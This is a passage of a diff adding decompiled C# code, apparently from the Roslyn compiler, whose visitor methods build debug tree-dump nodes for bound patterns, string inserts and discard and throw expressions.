TreeDumperNode("parts", (object)null, node.Parts.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("interpolatedStringHandlerPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("interpolatedStringArgumentPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("argumentIndex", (object)node.ArgumentIndex, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStringInsert(BoundStringInsert node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Expected O, but got Unknown + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Expected O, but got Unknown + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Expected O, but got Unknown + return new TreeDumperNode("stringInsert", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("alignment", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Alignment, null) }), + new TreeDumperNode("format", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Format, null) }), + new TreeDumperNode("isInterpolatedStringHandlerAppendCall", (object)node.IsInterpolatedStringHandlerAppendCall, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitIsPatternExpression(BoundIsPatternExpression node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Expected O, but got Unknown + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Expected O, but got Unknown + return new TreeDumperNode("isPatternExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("isNegated", (object)node.IsNegated, (IEnumerable)null), + new TreeDumperNode("reachabilityDecisionDag", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReachabilityDecisionDag, null) }), + new TreeDumperNode("whenTrueLabel", (object)node.WhenTrueLabel, (IEnumerable)null), + new TreeDumperNode("whenFalseLabel", (object)node.WhenFalseLabel, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConstantPattern(BoundConstantPattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + return new TreeDumperNode("constantPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("constantValue", (object)node.ConstantValue, (IEnumerable)null), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDiscardPattern(BoundDiscardPattern node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected O, but got Unknown + return new TreeDumperNode("discardPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDeclarationPattern(BoundDeclarationPattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Expected O, but got Unknown + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + return new TreeDumperNode("declarationPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("declaredType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeclaredType, null) }), + new TreeDumperNode("isVar", (object)node.IsVar, (IEnumerable)null), + new TreeDumperNode("variable", (object)node.Variable, (IEnumerable)null), + new TreeDumperNode("variableAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.VariableAccess, null) }), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRecursivePattern(BoundRecursivePattern node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Expected O, but got Unknown + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Expected O, but got Unknown + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Expected O, but got Unknown + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Expected O, but got Unknown + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Expected O, but got Unknown + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Expected O, but got Unknown + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Expected O, but got Unknown + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_015a: Expected O, but got Unknown + TreeDumperNode[] obj = new TreeDumperNode[10] + { + new TreeDumperNode("declaredType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeclaredType, null) }), + new TreeDumperNode("deconstructMethod", (object)node.DeconstructMethod, (IEnumerable)null), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode) + }; + IEnumerable enumerable; + if (!node.Deconstruction.IsDefault) + { + enumerable = node.Deconstruction.Select((BoundPositionalSubpattern x) => Visit(x, null)); + } + else + { + IEnumerable enumerable2 = Array.Empty(); + enumerable = enumerable2; + } + obj[2] = new TreeDumperNode("deconstruction", (object)null, enumerable); + IEnumerable enumerable3; + if (!node.Properties.IsDefault) + { + enumerable3 = node.Properties.Select((BoundPropertySubpattern x) => Visit(x, null)); + } + else + { + IEnumerable enumerable2 = Array.Empty(); + enumerable3 = enumerable2; + } + obj[3] = new TreeDumperNode("properties", (object)null, enumerable3); + obj[4] = new TreeDumperNode("isExplicitNotNullTest", (object)node.IsExplicitNotNullTest, (IEnumerable)null); + obj[5] = new TreeDumperNode("variable", (object)node.Variable, (IEnumerable)null); + obj[6] = new TreeDumperNode("variableAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.VariableAccess, null) }); + obj[7] = new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null); + obj[8] = new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null); + obj[9] = new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null); + return new TreeDumperNode("recursivePattern", (object)null, (IEnumerable)(object)obj); + } + + public override TreeDumperNode VisitListPattern(BoundListPattern node, object? arg) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Expected O, but got Unknown + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Expected O, but got Unknown + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Expected O, but got Unknown + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Expected O, but got Unknown + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Expected O, but got Unknown + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Expected O, but got Unknown + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Expected O, but got Unknown + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Expected O, but got Unknown + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Expected O, but got Unknown + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Expected O, but got Unknown + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0156: Expected O, but got Unknown + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Expected O, but got Unknown + return new TreeDumperNode("listPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[11] + { + new TreeDumperNode("subpatterns", (object)null, node.Subpatterns.Select((BoundPattern x) => Visit(x, null))), + new TreeDumperNode("hasSlice", (object)node.HasSlice, (IEnumerable)null), + new TreeDumperNode("lengthAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LengthAccess, null) }), + new TreeDumperNode("indexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IndexerAccess, null) }), + new TreeDumperNode("receiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverPlaceholder, null) }), + new TreeDumperNode("argumentPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ArgumentPlaceholder, null) }), + new TreeDumperNode("variable", (object)node.Variable, (IEnumerable)null), + new TreeDumperNode("variableAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.VariableAccess, null) }), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSlicePattern(BoundSlicePattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Expected O, but got Unknown + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Expected O, but got Unknown + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Expected O, but got Unknown + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Expected O, but got Unknown + return new TreeDumperNode("slicePattern", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("indexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IndexerAccess, null) }), + new TreeDumperNode("receiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverPlaceholder, null) }), + new TreeDumperNode("argumentPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ArgumentPlaceholder, null) }), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitITuplePattern(BoundITuplePattern node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + return new TreeDumperNode("iTuplePattern", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("getLengthMethod", (object)node.GetLengthMethod, (IEnumerable)null), + new TreeDumperNode("getItemMethod", (object)node.GetItemMethod, (IEnumerable)null), + new TreeDumperNode("subpatterns", (object)null, node.Subpatterns.Select((BoundPositionalSubpattern x) => Visit(x, null))), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPositionalSubpattern(BoundPositionalSubpattern node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("positionalSubpattern", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("symbol", (object)node.Symbol, (IEnumerable)null), + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPropertySubpattern(BoundPropertySubpattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Expected O, but got Unknown + return new TreeDumperNode("propertySubpattern", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("member", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Member, null) }), + new TreeDumperNode("isLengthOrCount", (object)node.IsLengthOrCount, (IEnumerable)null), + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPropertySubpatternMember(BoundPropertySubpatternMember node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + return new TreeDumperNode("propertySubpatternMember", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("symbol", (object)node.Symbol, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTypePattern(BoundTypePattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("typePattern", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("declaredType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeclaredType, null) }), + new TreeDumperNode("isExplicitNotNullTest", (object)node.IsExplicitNotNullTest, (IEnumerable)null), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBinaryPattern(BoundBinaryPattern node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("binaryPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("disjunction", (object)node.Disjunction, (IEnumerable)null), + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNegatedPattern(BoundNegatedPattern node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + return new TreeDumperNode("negatedPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("negated", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Negated, null) }), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRelationalPattern(BoundRelationalPattern node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Expected O, but got Unknown + return new TreeDumperNode("relationalPattern", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("relation", (object)node.Relation, (IEnumerable)null), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("constantValue", (object)node.ConstantValue, (IEnumerable)null), + new TreeDumperNode("inputType", (object)node.InputType, (IEnumerable)null), + new TreeDumperNode("narrowedType", (object)node.NarrowedType, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDiscardExpression(BoundDiscardExpression node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + return new TreeDumperNode("discardExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("nullableAnnotation", (object)node.NullableAnnotation, (IEnumerable)null), + new TreeDumperNode("isInferred", (object)node.IsInferred, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitThrowExpression(BoundThrowExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("throwExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitOutVariablePendingInference(OutVariablePendingInference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("outVariablePendingInference", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("variableSymbol", (object)node.VariableSymbol, (IEnumerable)null), + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("deconstructionVariablePendingInference", (object)null, 